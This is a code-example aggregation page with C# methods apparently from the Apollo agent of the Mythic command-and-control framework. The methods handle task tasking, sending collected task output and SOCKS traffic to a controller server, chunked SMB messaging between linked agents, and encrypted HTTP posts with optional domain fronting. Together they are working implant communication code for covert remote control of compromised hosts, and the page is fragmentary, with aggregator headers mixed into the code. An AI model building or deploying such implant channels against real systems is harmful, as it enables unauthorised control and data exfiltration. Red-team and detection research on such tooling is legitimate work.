private void ForceStopAgent()
        {
            Inbox.AddMessage("is_active", false);
            CheckTaskingResponse msg = new CheckTaskingResponse()
            {
                action     = "get_tasking",
                tasks      = new Task[0],
                delegates  = new Dictionary <string, string> [0],
                message_id = ""
            };
            string strMsg = JsonConvert.SerializeObject(msg);

            SortMessages(strMsg);
        }
Beispiel #2
0
        private void SendTaskOutput()
        {
            int retryCount = 0;

            Tasks.ApolloTaskResponse[] responses  = JobManager.GetJobOutput();
            SocksDatagram[]            datagrams  = SocksController.GetMythicMessagesFromQueue();
            List <ApolloTaskResponse>  lResponses = new List <ApolloTaskResponse>(); // probably should be used to resend

            if (responses.Length > 0 || datagrams.Length > 0)
            {
                string guid = Guid.NewGuid().ToString();
                while (retryCount < MAX_RETRIES)
                {
                    string result = Profile.SendResponses(guid, responses, datagrams);
                    if (string.IsNullOrEmpty(result))
                    {
                        break;
                    }
                    MythicServerResponse serverReply = JsonConvert.DeserializeObject <MythicServerResponse>(result);
                    foreach (MythicTaskResponse rep in serverReply.responses)
                    {
                        if (rep.status == "error")
                        {
                            lResponses.Add(responses.Single(c => c.task_id == rep.task_id));
                        }
                        else
                        {
                            Inbox.AddMessage(rep.task_id, rep);
                        }
                    }
                    if (serverReply.delegates != null && serverReply.delegates.Length > 0)
                    {
                        DispatchDelegates(serverReply.delegates);
                    }
                    responses = lResponses.ToArray();
                    lResponses.Clear();
                    retryCount += 1;
                    if (responses.Length == 0)
                    {
                        break;
                    }
                }
            }
        }
Beispiel #3
0
        public override void ReadMessagesFromProducer(string registrationGuidMsgID)
        {
            string     producerMessage = "";
            SMBMessage smbMsg          = new SMBMessage();
            Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >();

            DebugWriteLine($"New UUID Registration for Agent will have Message ID: {registrationGuidMsgID}");
            DebugWriteLine($"Beginning loop to read messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}...");
            while (MessageProducer.IsConnected() && !StopAllThreads)
            {
                try
                {
                    DebugWriteLine($"Waiting to read message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}...");
                    smbMsg = MessageProducer.ReadMessage();
                    DebugWriteLine($"SUCCESS! Got a message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}!");
                    if (smbMsg != null && smbMsg.MessageObject != null)
                    {
                        DebugWriteLine($"Message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} was non-null.");
                        if (smbMsg.MessageType == "uuid_registration")
                        {
                            DebugWriteLine($"UUID Registration message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} received!");
                            producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject);
                            // This should pop twice. First on initial connect, then second on received UUID
                            AgentUUID = producerMessage;
                            DebugWriteLine($"Set AgentUUID to {AgentUUID}. Adding registration message to inbox with message ID {registrationGuidMsgID}...");
                            Inbox.AddMessage(registrationGuidMsgID, producerMessage);
                            DebugWriteLine($"SUCCESS! Added registration message to inbox with message ID {registrationGuidMsgID}");
                        }
                        else if (smbMsg.MessageType == "chunked_message")
                        {
                            //SMBChunkedMessage tmp = (SMBChunkedMessage)smbMsg;
                            if (!chunkedMessages.ContainsKey(smbMsg.MessageID))
                            {
                                chunkedMessages[smbMsg.MessageID] = new List <SMBMessage>();
                            }
                            chunkedMessages[smbMsg.MessageID].Add(smbMsg);
                            if (chunkedMessages[smbMsg.MessageID].Count == smbMsg.MaxMessages)
                            {
                                byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[smbMsg.MessageID]);
                                chunkedMessages.Remove(smbMsg.MessageID);
                                producerMessage = Encoding.UTF8.GetString(fullMessage);
                                AddMessageToRequestQueue(producerMessage);
                            }
                        }
                        else
                        {
                            DebugWriteLine($"Adding new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue...");
                            producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject);
                            AddMessageToRequestQueue(producerMessage);
                            DebugWriteLine($"SUCCESS! Added new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue.");
                        }
                    }
                } catch (Exception ex)
                {
                    DebugWriteLine($"ERROR! Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}");
                    StopAllThreads = true;
                }
                finally
                {
                    producerMessage = "";
                    smbMsg          = null;
                    //Thread.Sleep(SleepTime);
                }
            }
            DebugWriteLine($"Stopped reading messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}");
        }
Beispiel #4
0
        // Encrypt and post a string to the Apfell server
        /// <summary>
        /// Send a POST request to the Apfell server given a JSON message
        /// and return the JSON string as the result.
        /// </summary>
        /// <param name="message">JSON message string to send.</param>
        /// <returns>JSON string of the server result.</returns>
        public override bool Send(string id, string message)
        {
            Stopwatch sw = new Stopwatch();

            sw.Start();
            byte[] reqPayload = Encoding.UTF8.GetBytes(base.cryptor.Encrypt(message));
            //DebugWriteLine($"Waiting for egress mutex handle...");
#if USE_WEBCLIENT
            egressMtx.WaitOne();
            sw.Stop();
            DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to acquire mutex.");
            sw.Start();
#endif
            //DebugWriteLine($"Acquired egress mutex handle!");
            string result;
            int    busyCount = 0;
            while (true)
            {
                try
                {
#if USE_HTTPWEB
                    HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(Endpoint);
                    request.KeepAlive     = false;
                    request.Method        = "Post";
                    request.ContentType   = "text/plain";
                    request.ContentLength = reqPayload.Length;
                    request.UserAgent     = UserAgent;
                    if (DomainFront != "" && DomainFront != "domain_front")
                    {
                        request.Host = DomainFront;
                    }
                    Stream reqStream = request.GetRequestStream();
                    reqStream.Write(reqPayload, 0, reqPayload.Length);
                    reqStream.Close();

                    WebResponse response = request.GetResponse();
                    sw.Stop();
                    DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to get response.");
                    using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                    {
                        result = base.cryptor.Decrypt(reader.ReadToEnd());
                    }
                    sw.Restart();
                    Inbox.AddMessage(id, result);
                    sw.Stop();
                    DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to add message to inbox.");
                    break;
#endif
#if USE_WEBCLIENT
                    if (!client.IsBusy)
                    {
                        sw.Stop();
                        DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to acquire mutex and client was busy {busyCount} times.");
                        sw.Restart();
                        //DebugWriteLine("Attempting to send web request...");
                        var middle = Encoding.UTF8.GetString(client.UploadData(Endpoint, reqPayload));
                        sw.Stop();
                        DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} for client to upload data.");
                        sw.Restart();
                        result = base.cryptor.Decrypt(middle);
                        sw.Stop();
                        DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to decrypt response.");
                        sw.Restart();
                        Inbox.AddMessage(id, result);
                        sw.Stop();
                        DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to add message to Inbox.");
                        break;
                    }
                    else
                    {
                        busyCount++;
                    }
#endif
                }
                catch (WebException ex)
                {
                    if (ex.Response != null)
                    {
                        var stream = ex.Response.GetResponseStream();
                        if (stream != null)
                        {
                            using (StreamReader responseStream = new StreamReader(stream))
                            {
                                DebugWriteLine($"ERROR! WebException occurred sending message. Reason: {ex.Message}\n\tResponse: {responseStream.ReadToEnd()}");
                                // Process the stream
                            }
                        }
                        else
                        {
                            DebugWriteLine("Honestly just forget it.");
                        }
                    }
                    else
                    {
                        DebugWriteLine($"WebException: {ex.Message}\n\tStackTrace:{ex.StackTrace}");
                    }
                }
                catch (Exception ex)
                {
                    DebugWriteLine($"Error sending message. Reason: {ex.Message}\n\tStackTrace:{ex.StackTrace}");
#if USE_WEBCLIENT
                    egressMtx.ReleaseMutex();
#endif
                    throw ex;
                }
            }
            //DebugWriteLine("Releasing egress mutex handle...");
#if USE_WEBCLIENT
            egressMtx.ReleaseMutex();
#endif
            return(true);
        }
        // returns a UUID of the task_id or get_tasking
        internal bool SortMessages(string message, string id = "")
        {
            string key = "";
            string action;
            string msg;
            JToken messageId;

            if (message == null || message == "")
            {
                DebugWriteLine($"Empty message. Abort sort.");
                return(false);
            }
            JObject json = (JObject)JsonConvert.DeserializeObject(message);

            action = json.Value <string>("action");
            if (json.TryGetValue("message_id", out messageId))
            {
                key = messageId.ToString();
            }

            DebugWriteLine($"Sorting message with action {action}...");
            switch (action)
            {
            case "unlink":
                ForceStopAgent();
                break;

            case "checkin":
                if (key == "")
                {
                    key = "checkin-" + Guid.NewGuid().ToString();
                }
                DebugWriteLine($"Message Key set to: {key}. Adding to inbox...");
                Inbox.AddMessage(key, message);
                DebugWriteLine($"SUCCESS! Added message {key} to inbox!");
                break;

            case "get_tasking":
                if (key == "")
                {
                    key = "get_tasking-" + Guid.NewGuid().ToString();
                }
                DebugWriteLine($"Message Key set to: {key}. Adding to inbox...");
                Inbox.AddMessage(key, message);
                DebugWriteLine($"SUCCESS! Added message {key} to inbox!");
                break;

            case "post_response":
                var resp = JsonConvert.DeserializeObject <MythicServerResponse>(message);
                if (resp.delegates != null && resp.delegates.Length > 0)
                {
                    CheckTaskingResponse delegateMessage = new CheckTaskingResponse()
                    {
                        action     = "get_tasking",
                        tasks      = new Task[0],
                        delegates  = resp.delegates,
                        message_id = key
                    };
                    string delegateMessageString = JsonConvert.SerializeObject(delegateMessage);
                    SortMessages(delegateMessageString);
                }
                foreach (var response in resp.responses)
                {
                    key = response.task_id;
                    msg = JsonConvert.SerializeObject(response);
                    DebugWriteLine($"Message Key set to: {key}. Adding to inbox...");
                    Inbox.AddMessage(key, msg);
                    DebugWriteLine($"SUCCESS! Added message {key} to inbox!");
                }
                // Create a new TaskQueue
                key = "get_tasking-" + Guid.NewGuid().ToString();

                break;

            case "upload":
                key = json.Value <string>("task_id");
                DebugWriteLine($"Message Key set to: {key}. Adding to inbox...");
                Inbox.AddMessage(key, message);
                DebugWriteLine($"SUCCESS! Added message {key} to inbox!");
                break;

            default:
                if (id == "")
                {
                    throw new Exception("Couldn't parse message");
                }
                Inbox.AddMessage(id, message);
                //throw new Exception($"Unsupported message type: {action}");
                //return false;
                break;
            }
            return(true);
        }